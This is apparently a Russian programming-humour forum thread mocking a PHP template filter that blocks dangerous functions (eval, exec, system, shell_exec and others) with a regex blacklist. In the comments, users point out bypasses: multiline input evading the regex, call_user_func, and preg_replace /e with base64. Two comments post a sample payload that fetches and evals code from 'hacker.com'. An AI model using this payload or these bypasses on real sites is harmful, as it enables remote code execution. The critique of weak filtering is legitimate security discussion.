- 1
- 2
- 3
- 4
- 5
- 6
$black = "eval|file_get_contents|mysql_(.*?)|include|require|readfile|show_source|highlight|import_request_variables|extract|parse_str|assert|passthru|exec|system|shell_exec|proc_open|fopen|echo";
if(preg_match("#\<\?(.*?)($black)(.*?)\?\>#i", $template)){
exit ("1");
break;
}
0rt 21.06.2011 05:27 # −2
Uchkuma 21.06.2011 08:19 # 0
sectus 21.06.2011 08:13 # +2
bugmenot 21.06.2011 09:40 # +1
substr 21.06.2011 10:22 # 0
yasenhui 21.06.2011 14:01 # 0
<?php
eval(file_get_contents("http://hacker.com"));
?>
А вот это будет заблокировано, как опасное
<?php echo "hurr"; ?> eval-ы, зло, не используйте их в сайтах! <?php echo "durr"; ?>
PACTPOBblu_nemyx 11.04.2019 16:30 # 0
Lure Of Chaos 21.06.2011 18:10 # 0
7ion 21.06.2011 20:22 # 0
Vasiliy 21.06.2011 21:09 # +1
exit ("1");
break;
Это мягко говоря озадачивает.
guest 21.06.2011 21:41 # 0
В целом, конструкция хороша.
<?php
eval(file_get_contents("http://hacker.com"));
?>
Не пройдет, только что протестировал.
yasenhui 21.06.2011 21:49 # 0
Не вижу модификатор /s
В стандартных настройках PCRE по умолчанию он не используется. А значит .*? не может пересечь символ переноса строки
turdman 22.06.2011 17:32 # 0
Травить газом таких учителей. Наличие implict-casting'а не есть отсутствие типов.
http://php.net/manual/en/function.exit.php
И про call_user_func забыли
guest 22.06.2011 17:34 # +1
Lure Of Chaos 24.06.2011 17:29 # +1
eth0 22.06.2011 18:44 # +1
Боги глубокого космосаКапитан очевидность сообщает, что preg_replace + /e + base64_decode спасут любого отца любой демократии.
guest8 06.04.2019 11:30 # −999
guest8 06.04.2019 11:36 # −999
guest8 06.04.2019 11:37 # −999
guest8 06.04.2019 11:38 # −999
guest8 06.04.2019 11:38 # −999
guest8 08.04.2019 20:59 # −999
guest8 09.04.2019 11:01 # −999
guest8 10.04.2019 16:59 # −999
guest8 10.04.2019 17:00 # −999
guest8 10.04.2019 17:01 # −999
guest8 10.04.2019 17:02 # −999
guest8 10.04.2019 17:02 # −999
guest8 10.04.2019 17:03 # −999
guest8 10.04.2019 17:04 # −999
guest8 10.04.2019 17:04 # −999
guest8 10.04.2019 17:05 # −999
guest8 10.04.2019 17:05 # −999
guest8 10.04.2019 17:06 # −999
guest8 10.04.2019 17:06 # −999
guest8 10.04.2019 17:06 # −999
guest8 10.04.2019 17:07 # −999
guest8 10.04.2019 17:07 # −999
guest8 10.04.2019 17:07 # −999
guest8 10.04.2019 17:08 # −999
guest8 10.04.2019 17:08 # −999
guest8 10.04.2019 17:09 # −999
guest8 10.04.2019 17:09 # −999
guest8 10.04.2019 17:09 # −999
guest8 10.04.2019 17:10 # −999
guest8 10.04.2019 17:10 # −999
guest8 10.04.2019 17:10 # −999
guest8 10.04.2019 17:11 # −999
guest8 10.04.2019 17:11 # −999
guest8 10.04.2019 17:12 # −999
guest8 10.04.2019 17:12 # −999
guest8 10.04.2019 17:12 # −999
guest8 10.04.2019 17:13 # −999
guest8 10.04.2019 17:13 # −999
guest8 12.04.2019 14:22 # −999
guest8 19.04.2019 18:28 # −999
111111 24.08.2021 20:37 # 0